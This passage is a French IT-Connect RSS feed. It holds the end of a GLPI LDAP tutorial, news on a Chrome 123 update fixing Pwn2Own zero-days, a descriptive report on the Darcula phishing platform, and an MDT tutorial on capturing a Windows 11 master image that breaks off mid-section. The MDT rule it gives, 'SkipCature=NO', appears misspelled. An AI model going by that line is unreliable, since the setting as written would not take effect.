<figure class="wp-block-image size-large"><img decoding="async" width="800" height="453" src="media/361a71b4.Importer-des-comptes-AD-dans-GLPI-800x453.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Importer-des-comptes-AD-dans-GLPI-800x453.png" alt="Importer des comptes AD dans GLPI.jpg" class="wp-image-77613" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Importer-des-comptes-AD-dans-GLPI-800x453.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Importer-des-comptes-AD-dans-GLPI-550x311.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Importer-des-comptes-AD-dans-GLPI-150x85.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Importer-des-comptes-AD-dans-GLPI-768x435.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Importer-des-comptes-AD-dans-GLPI-50x28.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Importer-des-comptes-AD-dans-GLPI.png 1209w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<blockquote class="wp-block-quote">
<p><strong>Remarque </strong>: vous pouvez aussi importer des groupes Active Directory. Pour cela, suivez la même procédure, mais en allant dans "<strong>Groupes</strong>" sous "<strong>Administration</strong>".</p>
</blockquote>



<h2 class="wp-block-heading">VI. Conclusion</h2>



<p>En suivant ce tutoriel, vous devriez être en mesure d'<strong>importer les comptes utilisateurs d'un annuaire Active Directory dans GLPI</strong>, pour faciliter la connexion de vos utilisateurs. Sachez que si un utilisateur change son mot de passe dans l'Active Directory, ce n'est pas un problème : GLPI vérifie les informations lors de la connexion.</p><p>The post <a href="https://www.it-connect.fr/tuto-glpi-configurer-authentification-active-directory/">GLPI : comment configurer l’authentification LDAP via l’Active Directory ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78494
title: Mettez à jour Google Chrome pour vous protéger de 7 vulnérabilités, dont 2 zero-day
uri: Mettez-à-jour-Google-Chrome-pour-vous-protéger-de-7-vulnérabilités
url: https://www.it-connect.fr/google-chrome-123-mise-a-jour-securite-2-zero-day/
content:
<p><strong>Mardi 26 mars 2024, Google a publié une nouvelle version de son navigateur Chrome dans le but de corriger 7 vulnérabilités, dont 2 failles de sécurité zero-day découvertes lors du Pwn2Own 2024 de Vancouver. Faisons le point sur cette mise à jour !</strong></p>



<p>Les utilisateurs de Google Chrome sur Windows Mac et Linux vont pouvoir passer par la case maintenance : l'entreprise américaine a mis en ligne plusieurs versions pour protéger ses utilisateurs. Tout d'abord, nous allons évoquer les deux failles de sécurité zero-day découvertes et exploitées lors du Pwn2Own 2024, une compétition de hacking.</p>



<p>La première vulnérabilité, associée à la référence <strong>CVE-2024-2886</strong>, a été découverte par Seunghyun Lee (@0x10n) de KAIST Hacking Lab, le 21 mars 2024. Il s'agit d'une faiblesse de type "<em>use after free</em>" présente dans <strong>WebCodecs</strong>. </p>



<p>La seconde vulnérabilité, associée à la référence <strong>CVE-2024-2887</strong>, a été découverte par Manfred Paul de l'équipe Trend Micro Zero Day Initiative. Il s'agit d'une faiblesse de type "<em>type confusion</em>" présente dans le composant <strong>WebAssembly</strong>. Ces deux vulnérabilités sont considérées comme <strong>importantes</strong>.</p>



<p>Par ailleurs, d'autres vulnérabilités ont été reportées directement à Google, notamment la <strong>faille de sécurité critique CVE-2024-2883</strong>, découverte par Cassidy Kim le 3 mars 2024. Il s'agit d'une vulnérabilité de type "<em>use after free</em>" dans <strong>ANGLE</strong>.</p>



<p>Pour vous protéger, vous devez<strong> mettre à jour Google Chrome </strong>pour passer sur les<strong> versions 123.0.6312.86/.87 pour Windows et Mac</strong>, ainsi que la version <strong>123.0.6312.86 pour <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/linux/" target="_blank" rel="noopener" title="Linux" data-wpil-keyword-link="linked">Linux</a></strong>. Les versions antérieures sont vulnérables. Vous pouvez obtenir plus d'informations dans le <a href="https://chromereleases.googleblog.com/2024/03/stable-channel-update-for-desktop_26.html" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité de Google</a>.</p>



<p>Pour rappel, suite aux vulnérabilités découvertes à l'occasion de cette compétition de hacking, la Fondation Mozilla a mis en ligne une nouvelle version pour son navigateur afin de combler deux failles de sécurité zero-day : <a href="https://www.it-connect.fr/dans-firefox-124-0-1-mozilla-a-corrige-deux-failles-de-securite-zero-day/" target="_blank" rel="noopener" title="Dans Firefox 124.0.1, Mozilla a corrigé deux failles de sécurité zero-day !">Firefox 124.0.1</a>. Enfin, sachez que Manfred Paul est le grand gagnant de cette édition du Pwn2Own Vancouver 2024 grâce à plusieurs vulnérabilités découvertes dans <strong>Mozilla Firefox, Apple Safari, Google Chrome et Microsoft Edge</strong>.</p><p>The post <a href="https://www.it-connect.fr/google-chrome-123-mise-a-jour-securite-2-zero-day/">Mettez à jour Google Chrome pour vous protéger de 7 vulnérabilités, dont 2 zero-day</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78499
title: Phishing : Darcula cible Android et l’iPhone par l’intermédiaire de Google Messages et iMessage
uri: Phishing-Darcula-cible-Android-et-l-iPhone-par-l-intermédiaire
url: https://www.it-connect.fr/phishing-darcula-cible-android-iphone-google-messages-et-imessage/
content:
<p><strong>Darcula, c'est le nom d'une nouvelle plateforme de type "Phishing-as-a-Service" (PhaaS) qui permet d'usurper l'identité de différentes marques et organisations à partir de 20 000 domaines dans le but de voler les identifiants des utilisateurs sur mobile, aussi bien sur Android que sur iPhone. Faisons le point sur cette menace.</strong></p>



<p>Alors que la plateforme <a href="https://www.it-connect.fr/phishing-tycoon-2fa-contourne-le-mfa-et-cible-les-comptes-microsoft-365-et-gmail/" target="_blank" rel="noopener" title="Le kit de phishing Tycoon 2FA contourne le MFA et cible les comptes Microsoft 365 et Gmail !">Tycoon 2FA cible les utilisateurs de Microsoft 365 et Gmail</a> sur ordinateur, Darcula quant à lui s'intéresse plutôt aux utilisateurs de smartphones Android et d'iPhone. Pour cela, <strong>des messages malveillants sont envoyés aux utilisateurs directement sur Google Messages (via le protocole RCS) et iMessage</strong>. Nous notons l'<strong>abandon du SMS traditionnel</strong> au profit du protocole RCS et d'iMessage, ce qui permet aux cybercriminels d'envoyer des messages <strong>protégés par le chiffrement de bout en bout</strong>, contrairement aux SMS. Ainsi, il n'est pas possible d'analyser le contenu du message pour le bloquer avant qu'il n'atteigne l'appareil de l'utilisateur.</p>



<h2 class="wp-block-heading">Darcula : 200 modèles prêts à l'emploi</h2>



<p>Le kit Darcula peut être utilisé par les cybercriminels pour<strong> usurper l'identité de services de livraison</strong>, mais aussi de <strong>services financiers, gouvernementaux, fiscaux, de sociétés de télécommunications</strong>, ou encore des compagnies aériennes. Au total, les abonnés ont accès à <strong>200 modèles de messages</strong> et de pages malveillantes pour <strong>usurper l'identité des marques</strong>. Le contenu<strong> s'adapte également en fonction de la langue locale</strong> de l'utilisateur pris pour cible.</p>



<p>"<em>La plateforme Darcula prétend prendre en charge environ 200 modèles d'hameçonnage, couvrant un large éventail de marques basées dans plus de 100 pays différents.</em>", peut-on lire dans<a href="https://www.netcraft.com/blog/darcula-smishing-attacks-target-usps-and-global-postal-services/" target="_blank" rel="noopener nofollow" title=""> un rapport</a> mis en ligne par Netcraft. </p>



<figure class="wp-block-image size-large"><a href="media/9e2bb624.Phishing-mobile-Darcula-Mars-2024.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Phishing-mobile-Darcula-Mars-2024.jpg"><img fetchpriority="high" decoding="async" width="800" height="312" src="media/c6d3363b.Phishing-mobile-Darcula-Mars-2024-800x312.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Phishing-mobile-Darcula-Mars-2024-800x312.jpg" alt="" class="wp-image-78500" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Phishing-mobile-Darcula-Mars-2024-800x312.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Phishing-mobile-Darcula-Mars-2024-550x214.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Phishing-mobile-Darcula-Mars-2024-150x58.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Phishing-mobile-Darcula-Mars-2024-768x299.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Phishing-mobile-Darcula-Mars-2024-50x19.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Phishing-mobile-Darcula-Mars-2024.jpg 1111w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Source : Netcraft</figcaption></figure>



<p>Les cybercriminels n'ont qu'à choisir une marque et <strong>un script de configuration</strong> s'occupe d'effectuer la <strong>configuration dans un conteneur Docker</strong>. D'ailleurs, la plateforme Darcula utilise le registre de conteneurs Harbor pour héberger l'image Docker.</p>



<h2 class="wp-block-heading">L'utilisation du protocole RCS et de iMessage</h2>



<p>L'utilisation du protocole RCS et d'iMessage pour émettre les messages malveillants obligent les pirates à <strong>contourner certaines restrictions</strong>. Il y a notamment des restrictions pour l'envoi en masse de messages. Du côté d'Apple, c'est interdit, ce qui conduit les cybercriminels à <strong>utiliser plusieurs comptes Apple ID différents et des fermes d'iPhone pour envoyer les messages</strong>. Chez Google, une restriction a été récemment mise en place pour empêcher les appareils rootés d'envoyer ou de recevoir des messages RCS.</p>



<p>En complément, iMessage intègre une protection un peu plus contraignante pour les cybercriminels :<strong> l'utilisateur peut cliquer sur un lien présent dans un iMessage uniquement s'il a déjà communiqué avec l'expéditeur</strong> du message en question. Pour cela, le message indique clairement à l'utilisateur qu'<strong>il doit répondre au message par un "Y" ou un "1" </strong>afin de pouvoir accéder au lien.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="449" height="583" src="media/14f11d26.Darcula-Phishing-iMessage-exemple.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Darcula-Phishing-iMessage-exemple.jpg" alt="Darcula - Phishing iMessage exemple" class="wp-image-78502" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Darcula-Phishing-iMessage-exemple.jpg 449w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Darcula-Phishing-iMessage-exemple-116x150.jpg 116w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Darcula-Phishing-iMessage-exemple-39x50.jpg 39w" sizes="(max-width: 449px) 100vw, 449px" /><figcaption class="wp-element-caption">Source : Darcula</figcaption></figure>



<h2 class="wp-block-heading">Darcula, une plateforme en pleine croissance</h2>



<p>"<em>Au total, Netcraft a détecté plus de 20 000 domaines liés à la cybercriminalité, répartis sur 11 000 adresses IP, qui ciblent plus de 100 marques.</em>". De nombreux <strong>domaines en ".com" et ".top"</strong> sont utilisés par les cybercriminels et un tiers des hôtes sont protégés par les services de Cloudflare. </p>



<p>Par ailleurs, le document de Netcraft précise également <strong>120 domaines supplémentaires sont créés chaque jour dans le but d'héberger des pages de phishing</strong>. Preuve que cette plateforme de PhaaS est en pleine croissance. À chaque fois, l'objectif des pirates est le même : <strong>voler les données confidentielles et/ou bancaires des utilisateurs</strong>, en fonction du template utilisé.</p>



<p>Même si nous tous plus ou moins habitués à recevoir ces messages suspects, restons vigilants...</p>



<p><a href="https://www.bleepingcomputer.com/news/security/new-darcula-phishing-service-targets-iphone-users-via-imessage/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/phishing-darcula-cible-android-iphone-google-messages-et-imessage/">Phishing : Darcula cible Android et l’iPhone par l’intermédiaire de Google Messages et iMessage</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=61959
title: MDT – Comment capturer et déployer un master Windows 11 23H2 ?
uri: MDT-Comment-capturer-et-déployer-un-master-Windows-11-23H2
url: https://www.it-connect.fr/mdt-comment-capturer-et-deployer-une-image-master-windows-11/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons apprendre à capturer une image de référence Windows 11 23H2 avec MDT. Cette image, préparée par nos soins, pourra ensuite réutilisée en tant que master afin d'être déployée sur un ensemble de machines de votre parc informatique.</strong></p>



<ul>
<li><a href="https://youtu.be/jUybRZZ34W8" target="_blank" rel="noopener nofollow" title="">Cliquez ici pour regarder la vidéo sur YouTube</a></li>
</ul>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/jUybRZZ34W8" title="" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>



<p>La méthode que nous allons employer aujourd'hui consiste à :</p>



<p><strong>1</strong> - Prendre une machine Windows 11 qui servira de référence. Sur cette machine, nous pouvons modifier la configuration du système, installer des applications, déposer des fichiers de configuration, etc... Selon les besoins</p>



<p><strong>2</strong> - Capturer cette machine avec MDT afin que l'image Windows dans son intégralité (système + applications) donne lieu à une image WIM</p>



<p><strong>3</strong> - Ajouter cette image WIM à la liste des systèmes d'exploitation de MDT</p>



<p><strong>4</strong> - Déployer cette image de référence, qui est notre master, sur X ordinateurs</p>



<p><strong>Ceci permet d'avoir une image prête à l'emploi, avec tous nos prérequis, ce qui en fait un master sur-mesure.</strong> Néanmoins, préférez autant que possible le déploiement d'applications par l'intermédiaire de MDT : ceci est la recommandation, et c'est aussi plus simple pour gérer les versions que vous souhaitez déployer, car l'image WIM capturée est figée (même si nous pouvons toujours agir dessus via les étapes de post-installation).</p>



<p>Dans certaines situations,<strong> cette méthode s'avère très utile, voire indispensable, et permettra d'éviter bien des galères aux équipes IT</strong>... Surtout, elle permettra de gagner un temps fou. Lors d'une précédente expérience, j'ai eu de nombreuses applications spécifiques à installer sur des machines, du style <strong>AutoCAD, Revit, Cadwork, etc...</strong> Elles sont à la fois lourdes et difficiles à déployer de façon silencieuse. De ce fait, les applications étaient installées sur une machine Windows 11, puis l'image capturée, ce qui permettait d'avoir une image prête à l'emploi avec ces applications préinstallées.</p>



<p>Voici quelques ressources complémentaires :</p>



<ul>
<li><a href="https://www.it-connect.fr/installer-mdt-sur-windows-server-2022-pour-deployer-windows-11-22h2/" target="_blank" rel="noopener" title="Installer MDT sur Windows Server 2022 pour déployer Windows 11 23H2">Déployer Windows 11 23H2 avec MDT</a></li>



<li><a href="https://www.it-connect.fr/deploiement-avec-mdt-integrer-les-machines-au-domaine-active-directory/" target="_blank" rel="noopener" title="Déploiement avec MDT – Intégrer les machines au domaine Active Directory">MDT - Intégrer les machines à l'Active Directory</a></li>
</ul>



<h2 class="wp-block-heading">II. Préparer la machine de référence</h2>



<p>Pour cette démonstration, une machine sous Windows 11 Pro 23H2, déployée par l'intermédiaire de MDT (via la procédure décrite dans le précédent tutoriel) sert de point de départ.</p>



<p>Pour simuler quelques changements sur le système, je procède à l'installation de deux applications : la suite LibreOffice et VLC Media Player. Vous pourriez également décider de durcir la configuration du système à l'aide d'un outil comme <a href="https://www.it-connect.fr/hardening-securite-windows-et-windows-server-avec-hardeningkitty/" target="_blank" rel="noopener" title="Cybersécurité : durcir la configuration de Windows et Windows Server avec HardeningKitty">HardeningKitty</a>.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="780" height="266" src="media/abc02870.MDT-Preparer-image-de-reference-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Preparer-image-de-reference-1.png" alt="" class="wp-image-78265" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Preparer-image-de-reference-1.png 780w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Preparer-image-de-reference-1-550x188.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Preparer-image-de-reference-1-150x51.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Preparer-image-de-reference-1-768x262.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Preparer-image-de-reference-1-50x17.png 50w" sizes="(max-width: 780px) 100vw, 780px" /></figure>



<p>En complément, les VMware Tools sont installées dans la VM. Ainsi, lorsque cette image sera capturée puis de nouvelles VM déployées, elles bénéficieront directement des VMware Tools.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="344" src="media/e5cea171.MDT-Preparer-image-de-reference-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Preparer-image-de-reference-2.jpg" alt="" class="wp-image-78266" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Preparer-image-de-reference-2.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Preparer-image-de-reference-2-550x237.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Preparer-image-de-reference-2-150x65.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Preparer-image-de-reference-2-768x330.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Preparer-image-de-reference-2-50x22.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ceci n'est qu'un exemple afin d'avoir un "master" à capturer. De votre côté, faites ce dont vous avez besoin.</p>



<blockquote class="wp-block-quote">
<p><strong>Remarque </strong>: vous ne devez pas chiffrer la machine de référence avec BitLocker, sinon la capture échouera.</p>
</blockquote>



<h2 class="wp-block-heading">III. Les permissions sur le DeploymentShare</h2>



<p>Si vous avez suivi notre tutoriel sur l'installation de MDT pour déployer Windows 11, vous avez créé le compte "<strong>Service_MDT</strong>" et vous lui avez attribué des permissions en "<strong>Lecture seule</strong>" sur le partage <strong>DeploymentShare</strong>. En fait, il s'agit de l'utilisateur déclaré dans les paramètres de MDT et utilisé par le LiteTouch (WinPE) pour se connecter au DeploymentShare.</p>



<p>Nous devons modifier les permissions car<strong> l'utilisateur doit pouvoir écrire</strong> dans le répertoire "<strong>Captures</strong>" afin de venir écrire l'image WIM.</p>



<p>Modifiez les permissions de partage :</p>



<p><strong>1 </strong>- Effectuez un clic droit sur le dossier du DeploymentShare puis cliquez sur "<strong>Propriétés</strong>". Cliquez sur l'onglet "<strong>Partage</strong>" puis sur "<strong>Partage avancé</strong>".</p>



<p><strong>2</strong> - Cliquez sur le bouton "<strong>Autorisations</strong>".</p>



<p><strong>3</strong> - Sélectionnez l'utilisateur dans la liste, ici "<strong>Service_MDT</strong>".</p>



<p><strong>4</strong> - Attribuez la permission "<strong>Modifier</strong>" à cet utilisateur.</p>



<p><strong>5</strong> - Validez avec "<strong>OK</strong>".</p>



<figure class="wp-block-image size-large"><a href="media/8f8d70fe.MDT-Ajouter-droit-ecriture-sur-DeploymentShare-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Ajouter-droit-ecriture-sur-DeploymentShare-1.png"><img decoding="async" width="800" height="490" src="media/97705e9b.MDT-Ajouter-droit-ecriture-sur-DeploymentShare-1-800x490.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Ajouter-droit-ecriture-sur-DeploymentShare-1-800x490.png" alt="MDT - Ajouter droit écriture sur DeploymentShare - 1" class="wp-image-78263" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Ajouter-droit-ecriture-sur-DeploymentShare-1-800x490.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Ajouter-droit-ecriture-sur-DeploymentShare-1-550x337.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Ajouter-droit-ecriture-sur-DeploymentShare-1-150x92.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Ajouter-droit-ecriture-sur-DeploymentShare-1-768x471.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Ajouter-droit-ecriture-sur-DeploymentShare-1-50x31.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Ajouter-droit-ecriture-sur-DeploymentShare-1.png 1025w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>Modifiez les permissions sur le système de fichiers NTFS :</p>



<p><strong>1 </strong>- Cliquez sur l'onglet "<strong>Sécurité</strong>".</p>



<p>2 - Cliquez sur "<strong>Modifier</strong>".</p>



<p><strong>3</strong> - Sélectionnez l'utilisateur "<strong>Service_MDT</strong>" dans la liste.</p>



<p><strong>4 </strong>- Attribuez la permission "<strong>Modification</strong>" à cet utilisateur.</p>



<p><strong>5 </strong>- Cliquez sur "OK".</p>



<figure class="wp-block-image size-large"><a href="media/45a9f7f9.MDT-Ajouter-droit-ecriture-sur-DeploymentShare-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Ajouter-droit-ecriture-sur-DeploymentShare-2.png"><img decoding="async" width="800" height="461" src="media/7e34aa3a.MDT-Ajouter-droit-ecriture-sur-DeploymentShare-2-800x461.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Ajouter-droit-ecriture-sur-DeploymentShare-2-800x461.png" alt="MDT - Ajouter droit écriture sur DeploymentShare - 2" class="wp-image-78264" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Ajouter-droit-ecriture-sur-DeploymentShare-2-800x461.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Ajouter-droit-ecriture-sur-DeploymentShare-2-550x317.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Ajouter-droit-ecriture-sur-DeploymentShare-2-150x86.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Ajouter-droit-ecriture-sur-DeploymentShare-2-768x443.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Ajouter-droit-ecriture-sur-DeploymentShare-2-50x29.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Ajouter-droit-ecriture-sur-DeploymentShare-2.png 843w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>Voilà, cette étape est terminée.</p>



<h2 class="wp-block-heading">IV. Créer une tâche Sysprep and Capture pour Windows 11</h2>



<p>À partir de la console <strong>Deployment Workbench</strong>, créez une <strong>nouvelle séquence de tâches </strong>(via un clic droit sur "<strong>Task Sequences</strong>"), dans votre DeploymentShare.</p>



<p>Commencez par nommer cette séquence de tâches, par exemple "<strong>Capturer Windows 11</strong>" et poursuivez.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="722" height="603" src="media/204e6e60.MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-1.png" alt="" class="wp-image-78269" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-1.png 722w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-1-550x459.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-1-150x125.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-1-50x42.png 50w" sizes="(max-width: 722px) 100vw, 722px" /></figure>



<p>Lors de la sélection du template, choisissez "<strong>Sysprep and Capture</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="724" height="604" src="media/1cf3e40a.MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-2.png" alt="" class="wp-image-78270" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-2.png 724w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-2-550x459.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-2-150x125.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-2-50x42.png 50w" sizes="(max-width: 724px) 100vw, 724px" /></figure>



<p>À l'étape suivante, prenez une image système correspondante à la version que vous allez capturer. Mais, je crois que cela n'a pas de réelle importance puisque nous allons capturer notre image complète par la suite.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="722" height="602" src="media/a5354b18.MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-3.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-3.png" alt="" class="wp-image-78271" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-3.png 722w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-3-550x459.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-3-150x125.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-3-50x42.png 50w" sizes="(max-width: 722px) 100vw, 722px" /></figure>



<p>Poursuivez jusqu'à la fin... Tout en sachant que ces informations seront écrasées par la future tâche de déploiement de l'image.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="720" height="604" src="media/ce1bc421.MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-4.png" alt="" class="wp-image-78272" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-4.png 720w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-4-550x461.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-4-150x126.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Creer-tache-sysprep-et-capture-Windows-11-23H2-Etape-4-50x42.png 50w" sizes="(max-width: 720px) 100vw, 720px" /></figure>



<p>Finalisez la création de la séquence de tâche. </p>



<p>Avant d'aller plus loin, accédez aux propriétés de votre DeploymentShare, puis dans l'onglet "Rules", assurez-vous d'avoir la ligne suivante :</p>



<pre class="wp-block-code"><code>SkipCature=NO</code></pre>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="720" height="241" src="media/689a59cb.MDT-Creer-tache-de-capture-Windows-11-7.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Creer-tache-de-capture-Windows-11-7.png" alt="MDT - Créer tâche de capture Windows 11 - 7" class="wp-image-61966" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Creer-tache-de-capture-Windows-11-7.png 720w, https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Creer-tache-de-capture-Windows-11-7-550x184.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Creer-tache-de-capture-Windows-11-7-150x50.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Creer-tache-de-capture-Windows-11-7-50x17.png 50w" sizes="(max-width: 720px) 100vw, 720px" /></figure></div>


<p>Sinon, l'assistant ne vous permettra pas de lancer la capture car l'étape de capture sera masquée.</p>



<p>En complément, si vous avez configuré le <strong>CustomSettings </strong>pour l'<strong>intégration au domaine Active Directory</strong>, vous devez commenter les lignes correspondantes, sinon l'étape "<strong>Capture Image</strong>" de l'assistant LiteTouch ne s'affichera pas (il s'agit probablement d'un bug). Une fois la capture effectuée, vous pouvez "réactiver" ces lignes.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="719" height="337" src="media/10e252ee.MDT-Configurer-CustomSettings-pour-capture-Windows-11.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Configurer-CustomSettings-pour-capture-Windows-11.png" alt="MDT - Configurer CustomSettings pour capture Windows 11" class="wp-image-61973" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Configurer-CustomSettings-pour-capture-Windows-11.png 719w, https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Configurer-CustomSettings-pour-capture-Windows-11-550x258.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Configurer-CustomSettings-pour-capture-Windows-11-150x70.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Configurer-CustomSettings-pour-capture-Windows-11-50x23.png 50w" sizes="(max-width: 719px) 100vw, 719px" /></figure></div>


<h2 class="wp-block-heading">V. Capturer image Windows 11 23H2 avec MDT</h2>



<h3 class="wp-block-heading">A. Démarrer la capture de l'image de référence</h3>



